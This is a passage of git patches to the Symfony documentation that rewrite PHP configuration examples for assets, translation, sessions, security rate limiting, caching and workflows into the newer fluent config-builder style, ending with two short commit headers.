-                        'version' => null,
-                    ],
-                    'bar_package' => [
-                        // this package uses its own strategy (the default strategy is ignored)
-                        'version_strategy' => 'app.asset.another_version_strategy',
-                    ],
-                    'baz_package' => [
-                        // this package inherits the default strategy
-                        'base_path' => '/images',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->assets()
+                ->versionStrategy('app.asset.my_versioning_strategy');
+
+            $framework->assets()->package('foo_package')
+                // this package removes any versioning (its assets won't be versioned)
+                ->version(null);
+
+            $framework->assets()->package('bar_package')
+                // this package uses its own strategy (the default strategy is ignored)
+                ->versionStrategy('app.asset.another_version_strategy');
+
+            $framework->assets()->package('baz_package')
+                // this package inherits the default strategy
+                ->basePath('/images');
+        };
 
 .. note::
 
@@ -2229,24 +2237,24 @@ package:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'assets' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->assets()
                 // this manifest is applied to every asset (including packages)
-                'json_manifest_path' => '%kernel.project_dir%/public/build/manifest.json',
-                // you can use absolute URLs too and Symfony will download them automatically
-                // 'json_manifest_path' => 'https://cdn.example.com/manifest.json',
-                'packages' => [
-                    'foo_package' => [
-                        // this package uses its own manifest (the default file is ignored)
-                        'json_manifest_path' => '%kernel.project_dir%/public/build/a_different_manifest.json',
-                    ],
-                    'bar_package' => [
-                        // this package uses the global manifest (the default file is used)
-                        'base_path' => '/images',
-                    ],
-                ],
-            ],
-        ]);
+                ->jsonManifestPath('%kernel.project_dir%/public/build/manifest.json');
+
+            // you can use absolute URLs too and Symfony will download them automatically
+            // 'json_manifest_path' => 'https://cdn.example.com/manifest.json',
+            $framework->assets()->package('foo_package')
+                // this package uses its own manifest (the default file is ignored)
+                ->jsonManifestPath('%kernel.project_dir%/public/build/a_different_manifest.json');
+
+            $framework->assets()->package('bar_package')
+                // this package uses the global manifest (the default file is used)
+                ->basePath('/images');
+        };
 
 .. versionadded:: 5.1
 
@@ -2335,11 +2343,12 @@ performance a bit:
     .. code-block:: php
 
         // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'translator' => [
-                'enabled_locales' => ['en', 'es'],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->translator()
+                ->enabledLocales(['en', 'es']);
+        };
 
 If some user makes requests with a locale not included in this option, the
 application won't display any error because Symfony will display contents using
@@ -2621,15 +2630,13 @@ the component will look for additional validation files:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'mapping' => [
-                    'paths' => [
-                        '%kernel.project_dir%/config/validation/',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->validation()
+                ->mapping()
+                    ->paths(['%kernel.project_dir%/config/validation/']);
+        };
 
 annotations
 ~~~~~~~~~~~
@@ -2927,16 +2934,14 @@ To configure a Redis cache pool with a default lifetime of 1 hour, do the follow
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'cache.mycache' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'default_lifetime' => 3600,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('cache.mycache')
+                    ->adapters(['cache.adapter.redis'])
+                    ->defaultLifetime(3600);
+        };
 
 .. _reference-cache-pools-name:
 
@@ -3094,9 +3099,12 @@ A list of lock stores to be created by the framework extension.
     .. code-block:: php
 
         // config/packages/lock.php
-        $container->loadFromExtension('framework', [
-            'lock' => '%env(LOCK_DSN)%',
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->lock()
+                ->resource('default', ['%env(LOCK_DSN)%']);
+        };
 
 .. seealso::
 
@@ -3281,11 +3289,14 @@ A list of workflows to be created by the framework extension:
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
-            'workflows' => [
-                'my_workflow' => // ...
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->workflows()
+                ->workflows('my_workflow')
+                    // ...
+            ;
+        };
 
 .. seealso::
 
diff --git a/security.rst b/security.rst
index 9368c4464ef..57c306fb26d 100644
--- a/security.rst
+++ b/security.rst
@@ -680,43 +680,41 @@ and set the ``limiter`` option to its service ID:
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Component\DependencyInjection\Reference;
         use Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter;
+        use Symfony\Config\FrameworkConfig;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security) {
+            $framework->rateLimiter()
+                ->limiter('username_ip_login')
+                    ->policy('token_bucket')
+                    ->limit(5)
+                    ->rate()
+                        ->interval('5 minutes')
+            ;
 
-        $container->loadFromExtension('framework', [
-            'rate_limiter' => [
-                // define 2 rate limiters (one for username+IP, the other for IP)
-                'username_ip_login' => [
-                    'policy' => 'token_bucket',
-                    'limit' => 5,
-                    'rate' => [ 'interval' => '5 minutes' ],
-                ],
-                'ip_login' => [
-                    'policy' => 'sliding_window',
-                    'limit' => 50,
-                    'interval' => '15 minutes',
-                ],
-            ],
-        ]);
-
-        $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
-            ->setArguments([
-                // 1st argument is the limiter for IP
-                new Reference('limiter.ip_login'),
-                // 2nd argument is the limiter for username+IP
-                new Reference('limiter.username_ip_login'),
-            ]);
+            $framework->rateLimiter()
+                ->limiter('ip_login')
+                    ->policy('sliding_window')
+                    ->limit(50)
+                    ->interval('15 minutes')
+            ;
 
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    // use a custom rate limiter via its service ID
-                    'login_throttling' => [
-                        'limiter' => 'app.login_rate_limiter',
-                    ],
-                ],
-            ],
-        ]);
+            $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
+                ->setArguments([
+                    // 1st argument is the limiter for IP
+                    new Reference('limiter.ip_login'),
+                    // 2nd argument is the limiter for username+IP
+                    new Reference('limiter.username_ip_login'),
+                ]);
+
+            $security->firewall('main')
+                ->loginThrottling()
+                    ->limiter('app.login_rate_limiter')
+            ;
+        };
 
 .. _`security-authorization`:
 .. _denying-access-roles-and-other-authorization:
diff --git a/security/csrf.rst b/security/csrf.rst
index 51b750b1ceb..8416cd4cafc 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -51,9 +51,13 @@ for more information):
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'csrf_protection' => null,
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->csrfProtection()
+                ->enabled(true)
+            ;
+        };
 
 The tokens used for CSRF protection are meant to be different for every user and
 they are stored in the session. That's why a session is started automatically as
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 4f0af428361..2efbd8af94e 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -288,7 +288,7 @@ so ``DoctrineTokenProvider`` can store the tokens:
 
         .. code-block:: php
 
-            # config/packages/doctrine.php
+            // config/packages/doctrine.php
             use Symfony\Config\DoctrineConfig;
 
             return static function (DoctrineConfig $doctrine) {
diff --git a/session/database.rst b/session/database.rst
index 58d8e48bab4..5e076329640 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -149,14 +149,14 @@ configuration option to tell Symfony to use this service as the session handler:
 
         // config/packages/framework.php
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                'handler_id' => RedisSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(RedisSessionHandler::class)
+            ;
+        };
 
 That's all! Symfony will now use your Redis server to read and write the session
 data. The main drawback of this solution is that Redis does not perform session
@@ -273,14 +273,14 @@ configuration option to tell Symfony to use this service as the session handler:
 
         // config/packages/framework.php
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                'handler_id' => PdoSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(PdoSessionHandler::class)
+            ;
+        };
 
 Configuring the Session Table and Column Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -532,14 +532,14 @@ configuration option to tell Symfony to use this service as the session handler:
 
         // config/packages/framework.php
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                'handler_id' => MongoDbSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(MongoDbSessionHandler::class)
+            ;
+        };
 
 .. note::
 
diff --git a/session/php_bridge.rst b/session/php_bridge.rst
index ba7fc53d41a..a0fbfc8e06b 100644
--- a/session/php_bridge.rst
+++ b/session/php_bridge.rst
@@ -41,12 +41,14 @@ for the ``handler_id``:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'storage_factory_id' => 'session.storage.factory.php_bridge',
-                'handler_id' => null,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->storageFactoryId('session.storage.factory.php_bridge')
+                ->handlerId(null)
+            ;
+        };
 
 Otherwise, if the problem is that you cannot avoid the application
 starting the session with ``session_start()``, you can still make use of
@@ -83,12 +85,14 @@ the example below:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'storage_factory_id' => 'session.storage.factory.php_bridge',
-                'handler_id' => 'session.storage.native_file',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->storageFactoryId('session.storage.factory.php_bridge')
+                ->handlerId('session.storage.native_file')
+            ;
+        };
 
 .. note::
 
diff --git a/session/proxy_examples.rst b/session/proxy_examples.rst
index c4c3f9423a3..67d46adb27b 100644
--- a/session/proxy_examples.rst
+++ b/session/proxy_examples.rst
@@ -46,13 +46,14 @@ Symfony to use your session handler instead of the default one:
 
         // config/packages/framework.php
         use App\Session\CustomSessionHandler;
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'session' => [
-                // ...
-                'handler_id' => CustomSessionHandler::class,
-            ],
-        ]);
+            $framework->session()
+                ->handlerId(CustomSessionHandler::class)
+            ;
+        };
 
 Keep reading the next sections to learn how to use the session handlers in practice
 to solve two common use cases: encrypt session information and define read-only
diff --git a/templating/hinclude.rst b/templating/hinclude.rst
index 8172ae60652..3a117148983 100644
--- a/templating/hinclude.rst
+++ b/templating/hinclude.rst
@@ -60,12 +60,14 @@ default content rendering some template:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'fragments' => [
-                'hinclude_default_template' => 'hinclude.html.twig',
-            ],
-        ]);
+            $framework->fragments()
+                ->hincludeDefaultTemplate('hinclude.html.twig')
+            ;
+        };
 
 You can define default templates per ``render()`` function (which will override
 any global default template that is defined):
diff --git a/testing/profiling.rst b/testing/profiling.rst
index d3fa71f8e76..db7714b9d1f 100644
--- a/testing/profiling.rst
+++ b/testing/profiling.rst
@@ -47,15 +47,15 @@ tests significantly. That's why Symfony disables it by default:
     .. code-block:: php
 
         // config/packages/test/web_profiler.php
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'profiler' => [
-                'enabled' => true,
-                'collect' => false,
-            ],
-        ]);
+            $framework->profiler()
+                ->enabled(true)
+                ->collect(false)
+            ;
+        };
 
 Setting ``collect`` to ``true`` enables the profiler for all tests. However, if
 you need the profiler only in a few tests, you can keep it disabled globally and
@@ -71,7 +71,7 @@ provided by the collectors obtained through the ``$client->getProfile()`` call::
 
     // tests/Controller/LuckyControllerTest.php
     namespace App\Tests\Controller;
-    
+
     use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
 
     class LuckyControllerTest extends WebTestCase
diff --git a/translation.rst b/translation.rst
index 670142f7b40..382beed92a0 100644
--- a/translation.rst
+++ b/translation.rst
@@ -92,11 +92,16 @@ are located:
     .. code-block:: php
 
         // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'default_locale' => 'en',
-            'translator' => ['default_path' => '%kernel.project_dir%/translations'],
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-        ]);
+            $framework
+                ->defaultLocale('en')
+                ->translator()
+                    ->defaultPath('%kernel.project_dir%/translations')
+            ;
+        };
 
 The locale used in translations is the one stored on the request. This is
 typically set via a ``_locale`` attribute on your routes (see :ref:`translation-locale-url`).
@@ -571,13 +576,13 @@ if you're generating translations with specialized programs or teams.
         .. code-block:: php
 
             // config/packages/translation.php
-            $container->loadFromExtension('framework', [
-                'translator' => [
-                    'paths' => [
-                        '%kernel.project_dir%/custom/path/to/translations',
-                    ],
-                ],
-            ]);
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (FrameworkConfig $framework) {
+                $framework->translator()
+                    ->paths(['%kernel.project_dir%/custom/path/to/translations'])
+                ;
+            };
 
 .. note::
 
@@ -647,10 +652,14 @@ checks translation resources for several locales:
        .. code-block:: php
 
            // config/packages/translation.php
-           $container->loadFromExtension('framework', [
-               'translator' => ['fallbacks' => ['en']],
-               // ...
-           ]);
+           use Symfony\Config\FrameworkConfig;
+
+            return static function (FrameworkConfig $framework) {
+                // ...
+                $framework->translator()
+                    ->fallbacks(['en'])
+                ;
+            };
 
 .. note::
 
diff --git a/translation/locale.rst b/translation/locale.rst
index 87f973a146a..79a9d45ce39 100644
--- a/translation/locale.rst
+++ b/translation/locale.rst
@@ -65,7 +65,7 @@ A better policy is to include the locale in the URL using the
 .. configuration-block::
 
     .. code-block:: php-annotations
-        
+
         // src/Controller/ContactController.php
         namespace App\Controller;
 
@@ -177,6 +177,8 @@ the framework:
     .. code-block:: php
 
         // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'default_locale' => 'en',
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->defaultLocale('en');
+        };
diff --git a/validation.rst b/validation.rst
index 0ad5a3108ec..5f9eab48cc6 100644
--- a/validation.rst
+++ b/validation.rst
@@ -251,11 +251,13 @@ file:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'enabled' => true,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->validation()
+                ->enabled(true)
+            ;
+        };
 
 Besides, if you plan to use annotations to configure validation, replace the
 previous configuration by the following:
@@ -287,11 +289,13 @@ previous configuration by the following:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'enable_annotations' => true,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->validation()
+                ->enableAnnotations(true)
+            ;
+        };
 
 .. tip::
 
diff --git a/workflow.rst b/workflow.rst
index bd36eb49014..6d65ba18305 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -120,43 +120,40 @@ like this:
 
         // config/packages/workflow.php
         use App\Entity\BlogPost;
-
-        $container->loadFromExtension('framework', [
-            'workflows' => [
-                'blog_publishing' => [
-                    'type' => 'workflow', // or 'state_machine'
-                    'audit_trail' => [
-                        'enabled' => true
-                    ],
-                    'marking_store' => [
-                        'type' => 'method',
-                        'property' => 'currentPlace',
-                    ],
-                    'supports' => [BlogPost::class],
-                    'initial_marking' => 'draft',
-                    'places' => [
-                        'draft',
-                        'reviewed',
-                        'rejected',
-                        'published',
-                    ],
-                    'transitions' => [
-                        'to_review' => [
-                            'from' => 'draft',
-                            'to' => 'reviewed',
-                        ],
-                        'publish' => [
-                            'from' => 'reviewed',
-                            'to' => 'published',
-                        ],
-                        'reject' => [
-                            'from' => 'reviewed',
-                            'to' => 'rejected',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            $blogPublishing
+                ->type('workflow') // or 'state_machine'
+                ->supports([BlogPost::class])
+                ->initialMarking(['draft']);
+
+            $blogPublishing->auditTrail()->enabled(true);
+            $blogPublishing->markingStore()
+                ->type('method')
+                ->property('currentPlace');
+
+            $blogPublishing->place()->name('draft');
+            $blogPublishing->place()->name('reviewed');
+            $blogPublishing->place()->name('rejected');
+            $blogPublishing->place()->name('published');
+
+            $blogPublishing->transition()
+                ->name('to_review')
+                    ->from(['draft'])
+                    ->to(['reviewed']);
+
+            $blogPublishing->transition()
+                ->name('publish')
+                    ->from(['reviewed'])
+                    ->to(['published']);
+
+            $blogPublishing->transition()
+                ->name('reject')
+                    ->from(['reviewed'])
+                    ->to(['rejected']);
+        };
 
 .. tip::
 
@@ -553,23 +550,25 @@ to :ref:`Guard events <workflow-usage-guard-events>`, which are always fired:
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'workflows' => [
-                'blog_publishing' => [
-                    // you can pass one or more event names
-                    'events_to_dispatch' => [
-                        'workflow.leave',
-                        'workflow.completed',
-                    ],
-
-                    // pass an empty array to not dispatch any event
-                    'events_to_dispatch' => [],
-
-                    // ...
-                ],
-            ],
-        ]);
+
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+
+            // ...
+            // you can pass one or more event names
+            $blogPublishing->eventsToDispatch([
+                'workflow.leave',
+                'workflow.completed',
+            ]);
+
+            // pass an empty array to not dispatch any event
+            $blogPublishing->eventsToDispatch([]);
+
+            // ...
+        };
 
 You can also disable a specific event from being fired when applying a transition::
 
@@ -731,36 +730,33 @@ transition. The value of this option is any valid expression created with the
     .. code-block:: php
 
         // config/packages/workflow.php
-        use App\Entity\BlogPost;
-
-        $container->loadFromExtension('framework', [
-            'workflows' => [
-                'blog_publishing' => [
-                    // ... previous configuration
-
-                    'transitions' => [
-                        'to_review' => [
-                            // the transition is allowed only if the current user has the ROLE_REVIEWER role.
-                            'guard' => 'is_granted("ROLE_REVIEWER")',
-                            'from' => 'draft',
-                            'to' => 'reviewed',
-                        ],
-                        'publish' => [
-                            // or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted"
-                            'guard' => 'is_authenticated',
-                            'from' => 'reviewed',
-                            'to' => 'published',
-                        ],
-                        'reject' => [
-                            // or any valid expression language with "subject" referring to the post
-                            'guard' => 'is_granted("ROLE_ADMIN") and subject.isStatusReviewed()',
-                            'from' => 'reviewed',
-                            'to' => 'rejected',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            // ... previous configuration
+
+            $blogPublishing->transition()
+                ->name('to_review')
+                    // the transition is allowed only if the current user has the ROLE_REVIEWER role.
+                    ->guard('is_granted("ROLE_REVIEWER")')
+                    ->from(['draft'])
+                    ->to(['reviewed']);
+
+            $blogPublishing->transition()
+                ->name('publish')
+                    // or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted"
+                    ->guard('is_authenticated')
+                    ->from(['reviewed'])
+                    ->to(['published']);
+
+            $blogPublishing->transition()
+                ->name('reject')
+                    // or any valid expression language with "subject" referring to the post
+                    ->guard('is_granted("ROLE_ADMIN") and subject.isStatusReviewed()')
+                    ->from(['reviewed'])
+                    ->to(['rejected']);
+        };
 
 You can also use transition blockers to block and return a user-friendly error
 message when you stop a transition from happening.
@@ -945,42 +941,43 @@ be only the title of the workflow or very complex objects:
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            // ... previous configuration
+
+            $blogPublishing->metadata([
+                'title' => 'Blog Publishing Workflow'
+            ]);
+
             // ...
-            'workflows' => [
-                'blog_publishing' => [
-                    'metadata' => [
-                        'title' => 'Blog Publishing Workflow',
-                    ],
-                    // ...
-                    'places' => [
-                        'draft' => [
-                            'metadata' => [
-                                'max_num_of_words' => 500,
-                            ],
-                        ],
-                        // ...
-                    ],
-                    'transitions' => [
-                        'to_review' => [
-                            'from' => 'draft',
-                            'to' => 'review',
-                            'metadata' => [
-                                'priority' => 0.5,
-                            ],
-                        ],
-                        'publish' => [
-                            'from' => 'reviewed',
-                            'to' => 'published',
-                            'metadata' => [
-                                'hour_limit' => 20,
-                                'explanation' => 'You can not publish after 8 PM.',
-                            ],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+
+            $blogPublishing->place()
+                ->name('draft')
+                ->metadata([
+                    'max_num_of_words' => 500,
+                ]);
+
+            // ...
+
+            $blogPublishing->transition()
+                ->name('to_review')
+                    ->from(['draft'])
+                    ->to(['reviewed'])
+                    ->metadata([
+                        'priority' => 0.5,
+                    ]);
+
+            $blogPublishing->transition()
+                ->name('publish')
+                    ->from(['reviewed'])
+                    ->to(['published'])
+                    ->metadata([
+                        'hour_limit' => 20,
+                        'explanation' => 'You can not publish after 8 PM.',
+                    ]);
+        };
 
 Then you can access this metadata in your controller as follows::
 
diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index 5dda2ba6c56..98e5911561f 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -251,75 +251,70 @@ Below is the configuration for the pull request state machine with styling added
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'workflows' => [
-                'pull_request' => [
-                    'type' => 'state_machine',
-                    'marking_store' => [
-                        'type' => 'method',
-                        'property' => 'currentPlace',
-                    ],
-                    'supports' => ['App\Entity\PullRequest'],
-                    'initial_marking' => 'start',
-                    'places' => [
-                        'start',
-                        'coding',
-                        'test',
-                        'review' => [
-                          'metadata' => [
-                              'description' => 'Human review',
-                          ],
-                        ],
-                        'merged',
-                        'closed' => [
-                          'metadata' => [
-                              'bg_color' => 'DeepSkyBlue',
-                          ],
-                        ],
-                    ],
-                    'transitions' => [
-                        'submit'=> [
-                            'from' => 'start',
-                            'to' => 'test',
-                        ],
-                        'update'=> [
-                            'from' => ['coding', 'test', 'review'],
-                            'to' => 'test',
-                            'metadata' => [
-                                'arrow_color' => 'Turquoise',
-                            ],
-                        ],
-                        'wait_for_review'=> [
-                            'from' => 'test',
-                            'to' => 'review',
-                            'metadata' => [
-                                'color' => 'Orange',
-                            ],
-                        ],
-                        'request_change'=> [
-                            'from' => 'review',
-                            'to' => 'coding',
-                        ],
-                        'accept'=> [
-                            'from' => 'review',
-                            'to' => 'merged',
-                            'metadata' => [
-                                'label' => 'Accept PR',
-                            ],
-                        ],
-                        'reject'=> [
-                            'from' => 'review',
-                            'to' => 'closed',
-                        ],
-                        'reopen'=> [
-                            'from' => 'start',
-                            'to' => 'review',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+            $pullRequest = $framework->workflows()->workflows('pull_request');
+
+            $pullRequest
+                ->type('state_machine')
+                ->supports(['App\Entity\PullRequest'])
+                ->initialMarking(['start']);
+
+            $pullRequest->markingStore()
+                ->type('method')
+                ->property('currentPlace');
+
+            $pullRequest->place()->name('start');
+            $pullRequest->place()->name('coding');
+            $pullRequest->place()->name('test');
+            $pullRequest->place()
+                ->name('review')
+                ->metadata(['description' => 'Human review']);
+            $pullRequest->place()->name('merged');
+            $pullRequest->place()
+                ->name('closed')
+                ->metadata(['bg_color' => 'DeepSkyBlue',]);
+
+            $pullRequest->transition()
+                ->name('submit')
+                    ->from(['start'])
+                    ->to(['test']);
+
+            $pullRequest->transition()
+                ->name('update')
+                    ->from(['coding', 'test', 'review'])
+                    ->to(['test'])
+                    ->metadata(['arrow_color' => 'Turquoise']);
+
+            $pullRequest->transition()
+                ->name('wait_for_review')
+                    ->from(['test'])
+                    ->to(['review'])
+                    ->metadata(['color' => 'Orange']);
+
+            $pullRequest->transition()
+                ->name('request_change')
+                    ->from(['review'])
+                    ->to(['coding']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['review'])
+                    ->to(['merged'])
+                    ->metadata(['label' => 'Accept PR']);
+
+            $pullRequest->transition()
+                ->name('reject')
+                    ->from(['review'])
+                    ->to(['closed']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['closed'])
+                    ->to(['review']);
+        };
 
 The PlantUML image will look like this:
 
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 730cf66bccc..6ef73aa60cf 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -192,58 +192,62 @@ Below is the configuration for the pull request state machine.
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'workflows' => [
-                'pull_request' => [
-                    'type' => 'state_machine',
-                    'marking_store' => [
-                        'type' => 'method',
-                        'property' => 'currentPlace',
-                    ],
-                    'supports' => ['App\Entity\PullRequest'],
-                    'initial_marking' => 'start',
-                    'places' => [
-                        'start',
-                        'coding',
-                        'test',
-                        'review',
-                        'merged',
-                        'closed',
-                    ],
-                    'transitions' => [
-                        'submit'=> [
-                            'from' => 'start',
-                            'to' => 'test',
-                        ],
-                        'update'=> [
-                            'from' => ['coding', 'test', 'review'],
-                            'to' => 'test',
-                        ],
-                        'wait_for_review'=> [
-                            'from' => 'test',
-                            'to' => 'review',
-                        ],
-                        'request_change'=> [
-                            'from' => 'review',
-                            'to' => 'coding',
-                        ],
-                        'accept'=> [
-                            'from' => 'review',
-                            'to' => 'merged',
-                        ],
-                        'reject'=> [
-                            'from' => 'review',
-                            'to' => 'closed',
-                        ],
-                        'reopen'=> [
-                            'from' => 'start',
-                            'to' => 'review',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $pullRequest = $framework->workflows()->workflows('pull_request');
+
+            $pullRequest
+                ->type('state_machine')
+                ->supports(['App\Entity\PullRequest'])
+                ->initialMarking(['start']);
+
+            $pullRequest->markingStore()
+                ->type('method')
+                ->property('currentPlace');
+
+            $pullRequest->place()->name('start');
+            $pullRequest->place()->name('coding');
+            $pullRequest->place()->name('test');
+            $pullRequest->place()->name('review');
+            $pullRequest->place()->name('merged');
+            $pullRequest->place()->name('closed');
+
+            $pullRequest->transition()
+                ->name('submit')
+                    ->from(['start'])
+                    ->to(['test']);
+
+            $pullRequest->transition()
+                ->name('update')
+                    ->from(['coding', 'test', 'review'])
+                    ->to(['test']);
+
+            $pullRequest->transition()
+                ->name('wait_for_review')
+                    ->from(['test'])
+                    ->to(['review']);
+
+            $pullRequest->transition()
+                ->name('request_change')
+                    ->from(['review'])
+                    ->to(['coding']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['review'])
+                    ->to(['merged']);
+
+            $pullRequest->transition()
+                ->name('reject')
+                    ->from(['review'])
+                    ->to(['closed']);
+
+            $pullRequest->transition()
+                ->name('accept')
+                    ->from(['closed'])
+                    ->to(['review']);
+        };
 
 In a Symfony application using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,

From 26b82af5f0e9ad51c7eabc5a2d7f90520c7b8ee6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Apr 2021 16:37:19 +0200
Subject: [PATCH 2152/7107] Minor tweak

---
 validation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation.rst b/validation.rst
index 65f174d5094..80705abdb08 100644
--- a/validation.rst
+++ b/validation.rst
@@ -113,7 +113,7 @@ following:
 Adding this configuration by itself does not yet guarantee that the value will
 not be blank; you can still set it to a blank value if you want.
 To actually guarantee that the value adheres to the constraint, the object must
-be passed to the Validator Service to be checked.
+be passed to the validator service to be checked.
 
 .. tip::
 

From 4f72e6a8919a2da6c4056f23e5c54204b6e5d2f8 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 2 May 2021 13:41:33 +0200
Subject: [PATCH 2153/7107] [Testing] Restructure Application Tests section

- Focus more on Arrange, Act, Assert
- Advertise modern testing features: application testing in Symfony is fun!
- Move all important application test docs into the main guide
---
